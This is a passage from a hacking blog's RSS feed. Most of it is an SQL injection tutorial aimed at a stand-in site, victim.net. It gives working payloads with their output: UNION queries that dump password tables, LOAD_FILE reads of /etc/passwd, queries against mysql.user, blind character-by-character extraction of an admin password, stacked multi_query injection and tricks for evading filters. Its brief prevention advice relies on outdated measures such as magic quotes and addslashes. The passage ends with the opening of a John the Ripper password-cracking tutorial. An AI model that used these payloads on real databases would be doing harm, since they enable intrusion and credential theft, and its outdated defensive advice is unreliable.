&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>What we can do now? Easy, just add a NULL field!!</p>
<p>mysql&gt; select * from fnews union select NULL, id, user, pwd from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id   | pri     | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    1 |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    1 | admin             | secre                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    2 | ad                 | aaaaa                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    5 | new               | test                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Basic Victim Fingerprinting ]</p>
<p>In this part of the paper I&#8217;ll explain some easy, but interesting, ways used while trying to do<br />
information gathering before the Vulnerability Assessment and Penetration Test steps.</p>
<p>This is our scenario: we found a bugged Web Application on the host and we can inject our<br />
SQL code.</p>
<p>So, what we need to know? Could be interesting to know the mysql server version;<br />
maybe it&#8217;s a bugged version and we can exploit it.</p>
<p>How to do that? (I will not use bugged code; I&#8217;ll just make some examples. Use your<br />
mind to understand how to use &#8220;these tips&#8221;)</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select version(), NULL, NULL, NULL from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id                               | pri     | title                | texts                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                                |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 5.0.22-Debian               | NULL | NULL              | NULL                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Here our mysql version. Also the OS has been putted on the screen <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  (take in mind that<br />
sometimes these information are modified).</p>
<p>Could be interesting to know the server time:</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id                           | pri     | title               | texts                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 1                            |    0   | testing news 2 | could be bypassed easily?  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 2009-02-27 00:03:56 | NULL | NULL              | NULL                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Yes, sometimes is useful to know what is the user used to connect to the database.</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL from usr;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id                  | pri     | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                   |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| omni@localhost | NULL | NULL              | NULL                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>An interesting function implemented in mysql server is LOAD_FILE that, as the<br />
word say, is able to load a file. What we can do with this? gain information and<br />
read files. Here below the query used as example:</p>
<p>select * from news where id=1 union select NULL,NULL,LOAD_FILE(&#8216;/etc/passwd&#8217;) from usr;</p>
<p>This is what my FireFox shows to me:</p>
<p>http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE(&#8216;/etc/password&#8217;)%20from%20usr;</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?<br />
Title:</p>
<p>News:<br />
root:x:0:0:root:/root:/bin/bash<br />
daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br />
bin:x:2:2:bin:/bin:/bin/sh<br />
sys:x:3:3:sys:/dev:/bin/sh<br />
[...]<br />
[output cutted]<br />
[...]</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>Sounds interesting right, don&#8217;t you?</p>
<p>Could be interesting to get some sensitive information such as mysql users and passwords<br />
right? By injecting our code as shown below we can get such that information.</p>
<p>SELECT * FROM news WHERE id=&#8217;1&#8242; UNION SELECT Host, User, Password FROM mysql.user/*&#8217;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Standard Blind SQL Injection ]</p>
<p>SQL Injection and Blind SQL Injection are attacks that are able to exploit a software<br />
vulnerability by injecting sql codes; but the main difference between these attacks<br />
is the method of determination of the vulnerability.</p>
<p>Yes, because in the Blind SQL Injection attacks, attacker will look the results<br />
of his/her requests (with different parameter values) and if these results will return<br />
the same information he/she could obtain some interesting data. (I know, it seems<br />
a bit strange; but between few lines you will understand better).</p>
<p>But why Standard Blind SQL Injection? What does it mean? In this part of the paper<br />
I&#8217;ll explain the basic way to obtain information with Blind SQL Injection without bear<br />
in mind that this type of attacks could be optimized. I don&#8217;t wanna talk about the<br />
methods to optimize a Blind SQL Injection attack.(Wisec found interesting things about that -<br />
&#8220;Optimizing the number of requests in blind SQL injection&#8221;).</p>
<p>Ok, let&#8217;s make a step forward and begin talking about Detection of Blind SQL Injection.<br />
To test this vulnerability we have to find a condition that is always true; for example<br />
1=1 is always TRUE right? Yes, but when we have to inject our code in the WHERE<br />
condition we don&#8217;t know if our new injected query will be true or false; therefore<br />
we have to make some tests. When the query is true? The query is true when the record<br />
returned contain the correct information. Maybe is a little bit strange this explanation but<br />
to make things clear I wanna let you see an example. Suppose that we requested this<br />
URL:</p>
<p>http://www.victim.net/CMS/view.php?id=1</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>As you can see we have just viewed our first news (id=1). What happends if we request<br />
this other URL: http://www.victim.net/CMS/view.php?id=1 AND 1=1 ?<br />
In our browser we just see the same page because the query is obviously true.<br />
Here below the injected query:</p>
<p>SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1</p>
<p>Now, we (I hope)  have understood what is a Blind SQL Injection; and to understand<br />
better how we can use this, I want to make a simple example/scenario. I&#8217;m thinking that<br />
the web application is connected to MySQL using the user omni; how to know this by using<br />
Blind SQL Injection? Just requesting this URL:</p>
<p>http://www.victim.net/CMS/view.php?id=1 AND USER()=omni@localhost&#8217;</p>
<p>and watch the reply sent on our browser. If in our FireFox (or whatever you want)<br />
we will see the news with ID=1 we know that omni is the user used to connect to<br />
the mysql deamon (because the query is true; and we found the true value to pass<br />
to the query).<br />
Let&#8217;s go deeper. What we can do with Blind SQL? Could be interesting to retrieve<br />
the admin password. How to do that? First of all to understand better the<br />
steps I&#8217;m going to explain we need to know some basic information.</p>
<p>Function used in MySQL:</p>
<p>- ASCII(str)<br />
Returns the numeric value of the leftmost character of the string str.<br />
Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII()<br />
works for 8-bit characters.</p>
<p>mysql&gt; select ascii(&#8216;a&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;A&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         97 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8216;b&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;b&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         98 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>- ORD(str)</p>
<p>If the leftmost character of the string str is a multi-byte character, returns<br />
the code for that character, calculated from the numeric values of its constituent<br />
bytes using this formula:</p>
<p>(1st byte code)<br />
+ (2nd byte code x 256)<br />
+ (3rd byte code x 2562) &#8230;</p>
<p>If the leftmost character is not a multi-byte character, ORD() returns the same value as<br />
the ASCII() function.</p>
<p>- SUBSTRING(str,pos), SUBSTRING(str  FROM pos),<br />
SUBSTRING(str,pos,len), SUBSTRING(str  FROM pos FOR len)</p>
<p>The forms without a len argument return a substring from string str starting at position pos.<br />
The forms with a len argument return a substring len characters long from string str, starting<br />
at position pos.<br />
The forms that use FROM are standard SQL syntax. It is also possible to use a negative value<br />
for pos. In this case, the beginning of the substring is pos characters from the end of the<br />
string, rather than the beginning.<br />
A negative value may be used for pos in any of the forms of this function.</p>
<p>- SUBSTR(str,pos), SUBSTR(str  FROM pos),<br />
SUBSTR(str,pos,len), SUBSTR(str  FROM pos FOR len)</p>
<p>SUBSTR() is a synonym for SUBSTRING().</p>
<p>mysql&gt; select substring(&#8216;Blind SQL&#8217;, 1, 1);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| substring(&#8216;Blind SQL&#8217;, 1, 1) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| B                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>mysql&gt; select substring(&#8216;Blind SQL&#8217;, 2, 1);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| substring(&#8216;Blind SQL&#8217;, 2, 1) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| l                                   |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>- LOWER(str)</p>
<p>Returns the string str with all characters changed to lowercase according to<br />
the current character set mapping. The default is latin1 (cp1252 West European).</p>
<p>mysql&gt; SELECT LOWER(&#8216;SQL&#8217;);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| LOWER(&#8216;SQL&#8217;) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| sql               |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>- UPPER(str)</p>
<p>Returns the string str with all characters changed to uppercase according to<br />
the current character set mapping. The default is latin1 (cp1252 West European).</p>
<p>mysql&gt; SELECT UPPER(&#8216;sql&#8217;);<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| UPPER(&#8216;sql&#8217;) |<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| SQL           |<br />
&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Now we have understood the principals MySQL functions that could be used while<br />
trying to do a Blind SQL Injection attack. (consult MySQL reference manuals for others)</p>
<p>What we need again? Suppose that we know for a moment the admin password: &#8220;secret&#8221;.</p>
<p>mysql&gt; select ascii(&#8216;s&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;s&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        115|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8216;e&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;e&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        101|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8216;c&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;c&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         99 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8216;r&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;r&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        114|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8216;t&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8216;t&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        116|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>It&#8217;s time to watch the source code:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>[ ... ]</p>
<p>$SQL = &#8220;select * from news where id=&#8221;.$_GET['id'].&#8221; LIMIT 1&#8243;;</p>
<p>$result = mysql_query($SQL);</p>
<p>if (!$result) {<br />
die(&#8216;Invalid query: &#8216; . mysql_error());<br />
}</p>
<p>[ ... ]</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>Now, try to &#8220;exploit the bug&#8221; by requesting this URL:<br />
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>The query is TRUE (we know that the first letter of the password is &#8216;s&#8217;) and therefore, the query will be:</p>
<p>SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1</p>
<p>What is the number 115? Read upon is the ascii value of the &#8216;s&#8217;. We retrieved the first character<br />
of the password (by using some MySQL functions).</p>
<p>.:. (SELECT pwd FROM usr WHERE id=1) =&gt; SELECT the password of the user with ID=1 (admin)<br />
.:. (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) =&gt; Get the first letter of the password (in this case &#8216;s&#8217;)<br />
.:. ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) =&gt; Get the ASCII code of the first letter (115 in this case)</p>
<p>And how to retrieve the second letter of the password? Just carry out this query:</p>
<p>SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1</p>
<p>by requesting this URL:<br />
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101</p>
<p>The third character? And the others? Just make the same query with the right values.<br />
Take in mind that you can also use the &#8220;greater then&#8221; (&gt;) and &#8220;less then&#8221; (&lt;) symbols<br />
instead of the equal; to find the ASCII letter between a range of letters.<br />
Eg.: between 100 and 116; and so on.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Double Query ]</p>
<p>Sometimes in some codes happends that a programmer use the MySQLi Class (MySQL Improved<br />
Extension) that is an extension allows you to access to the functionality provided<br />
by MySQL 4.1 and above.</p>
<p>I&#8217;ll explain a  very interesting bug that could be very dangerous for the<br />
system. A not properly sanitized variable passed in the method called multi_query of<br />
the mysqli class can be used to perform a &#8220;double&#8221; sql query injection.</p>
<p>mysqli_multi_query (PHP 5) is able to performs one or more queries on the<br />
database selected. The queries executed are concatenated by a semicolon.</p>
<p>Look this example to know what I&#8217;m talking about:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>&lt;?php<br />
$mysqli = new mysqli(&#8220;localhost&#8221;, &#8220;root&#8221;, &#8220;root&#8221;, &#8220;test&#8221;);</p>
<p>if (mysqli_connect_errno()) {<br />
printf(&#8220;Connect failed: %s\n&#8221;, mysqli_connect_error());<br />
exit();<br />
}</p>
<p>$query  = &#8220;SELECT user FROM usr WHERE id =&#8221;. $_GET['id'].&#8221;;&#8221;;<br />
$query .= &#8220;SELECT texts FROM news WHERE id =&#8221;. $_GET['id'];</p>
<p>echo &#8216;UserName: &#8216;;</p>
<p>if ($mysqli-&gt;multi_query($query)) {<br />
do {<br />
/* the first result set */<br />
if ($result = $mysqli-&gt;store_result()) {<br />
while ($row = $result-&gt;fetch_row()) {<br />
echo &#8221; &#8211; &#8221; .$row[0]. &#8220;&lt;br&gt;&#8221; ;<br />
}<br />
$result-&gt;free();<br />
}<br />
/* print divider */<br />
if ($mysqli-&gt;more_results()) {<br />
echo &#8220;/-/-/-/-/-/-/-/-/-/-/-/-/-/&lt;br&gt;&#8221;;<br />
}<br />
} while ($mysqli-&gt;next_result());<br />
}</p>
<p>/* close connection */<br />
$mysqli-&gt;close();<br />
?&gt;</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>If a user request the follow URL:</p>
<p>http://www.victim.net/CMS/multiple.php?id=2</p>
<p>The browser reply with this information:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>UserName: &#8211; ad<br />
/-/-/-/-/-/-/-/-/-/-/-/-/-/<br />
- could be bypassed easily?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>But the source code is bugged. The $query variable is vulnerable because<br />
a user can supply using the GET method, an evil id and can do multiple (evil) queries.</p>
<p>Trying with this request:</p>
<p>http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/*</p>
<p>We will obtain the users passwords.</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>UserName: &#8211; ad<br />
/-/-/-/-/-/-/-/-/-/-/-/-/-/<br />
- secret<br />
- adpwd<br />
- test</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Filters Evasion ]</p>
<p>Web Application could implements some input filters that prevent an attacker from<br />
exploiting certain flaws such as SQL Injection, LFI or whatever. Therefore an application<br />
can use some mechanism that are able to sanitize, block or parse in some ways<br />
user-supply data. This kind of filters could be bypassed by using differents methods,<br />
here I wanna try to give to you some ideas; but certainly one filter differ from<br />
an other one so, you have to try/find different methods to bypass it.</p>
<p>- Imagine that we have to bypass a login form; but the comment symbol is blocked,<br />
we can bypass this issue but injecting this data &#8216; OR &#8216;a&#8217; = &#8216;a instead of &#8216; OR 1 = 1 /*</p>
<p>- The filter try to prevent an SQL Injection by using this kind of Signature: &#8216; or 1=1 (Case-insensitive).<br />
An attacker can bypass this filter using &#8216; OR &#8216;foobar&#8217; = &#8216;foobar for example.</p>
<p>- Suppose that the application filter the keyword &#8220;admin&#8221;, to bypass this filter we have just<br />
to use some MySQL functions such as CONCAT or CHAR for example:<br />
union select * from usr where user = concat(&#8216;adm&#8217;,'in&#8217;)/*<br />
union select * from usr where user=char(97,100,109,105,110)/*</p>
<p>This is only a little part of &#8220;filter evasion techniques&#8221;. Different filters work<br />
differently, I can&#8217;t stay on this topic forever; I just gave to you some ideas.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  SQL Injection Prevention ]</p>
<p>How to prevent this type of attacks? Here below I just wanna write some<br />
tips that you can use to make your web application more secure.</p>
<p>1.) The file php.ini located on our HD (/etc/php5/apache2/php.ini, /etc/apache2/php.ini,<br />
and so on..) can help us with the magic quote functions. Other interesting functions can<br />
be setted to On; take a look inside this file.</p>
<p>Magic quotes can be used to escape automatically with backslash the user-supply single-quote (&#8216;),<br />
double-quote (&#8220;), backslash (\) and NULL characters.<br />
The 3 magic quotes directives are:</p>
<p>- magic_quotes_gpc, that affects HTTP request data such as GET, POST and COOKIE.<br />
- magic_quotes_runtime, if enabled, most functions that return data from an external source, will have<br />
quotes escaped with a backslash.<br />
- magic_quotes_sybase, that escape the &#8216; with &#8221; instead of \&#8217;.</p>
<p>2.) deploy mod_security for example</p>
<p>3.) use functions such as addslashes() htmlspecialchars(), mysql_escape_string(), etc. to validate<br />
every user inputs.</p>
<p>4.) For integer input validate it by casting the variable<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Conclusion ]</p>
<p>Here we are, at the end of this paper. As said upon, I hope you enjoyed it and<br />
for any questions please mail me.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Lost Password Recovery :: John The Ripper TUTORIAL</title>
		<link>http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/</link>
		<comments>http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 09:43:26 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Network Tools]]></category>
		<category><![CDATA[Password Recovery]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[decryper]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[jhon]]></category>
		<category><![CDATA[JTR]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[linux recover password]]></category>
		<category><![CDATA[lost password]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[passwd]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[ripper]]></category>
		<category><![CDATA[sniffer]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[WORDFILE]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=47</guid>
		<description><![CDATA[John the Ripper is a decrypting program for passwords. Although it has many functions we will be looking at using it as a decryper for password files you possess. We will be looking at Password Files which you have put on your Hard Disk - PREPARATION SHORTCUT TIP FOR WINDOWS 95 PASSWORD FILES - DECRYPTING [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Lost+Password+Recovery+%3A%3A+John+The+Ripper+TUTORIAL";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "John the Ripper is a decrypting program for passwords. Although it has manyfunctions we will be looking at using it as a decryper for password filesyou possess.We will be looking at Password Files which you have put on your Hard Disk- PREPARATIONSHORTCUT TIP FOR WINDOWS 95PASSWORD FILES- DECRYPTINGJTR MODESSINGLE MODEWORDFILE MODEINCREMENTAL MODEALPHADIGITSALLSHOW...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>John the Ripper is a decrypting program for passwords. Although it has many</p>
<p>functions we will be looking at using it as a decryper for password files<br />
you possess.</p>
<p><span id="more-47"></span></p>
<p>We will be looking at Password Files which you have put on your Hard Disk<br />
- <strong>PREPARATION</strong><br />
SHORTCUT TIP FOR WINDOWS 95<br />
PASSWORD FILES<br />
- <strong>DECRYPTING</strong><br />
JTR MODES<br />
SINGLE MODE<br />
WORDFILE MODE<br />
INCREMENTAL MODE<br />
ALPHA<br />
DIGITS<br />
ALL<br />
SHOW MODE &#8211; Saving the Decrypted Files<br />
- <strong>ADVANCED COMMANDS</strong><br />
STOPPING JTR<br />
RULES<br />
SESSION and RESTORE<br />
- <strong>JTR QUICK REFERENCE</strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>. &#8212;&#8212;&#8212;&#8211;<br />
<strong>PREPARATION</strong><br />
&#8212;&#8212;&#8212;&#8211;<br />
1. Download the correct version of JTR, use win32 for Win 95/98<br />
2. Extract the zip File into a Directory<br />
3. Make sure you have your Password Files in the same directory</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<strong>SHORTCUT TIP FOR WINDOWS 95</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
1. Right Click on the [Start] Button, and choose Open<br />
2. Double Click on [Programs] Folder<br />
3. Right Click and Copy, [MS-DOS Prompt]<br />
4. Close the [Programs] Folder<br />
5. Right Click and Paste on the Desktop, a [MS-DOS Prompt] should appear<br />
6. Right Click on the [MS-DOS Prompt] icon and choose Properties<br />
7. Click on the Program Tab<br />
8. In the box next to Working (It should have C:WINDOWS in there) Change<br />
it to the Directory of where-ever the Program JOHN.EXE has been<br />
extracted<br />
9. Click on the [OK] button<br />
10. Test what you have done by Double Clicking on the Icon, If you wish to<br />
rename [MS-DOS Prompt] to JTR, then do so</p>
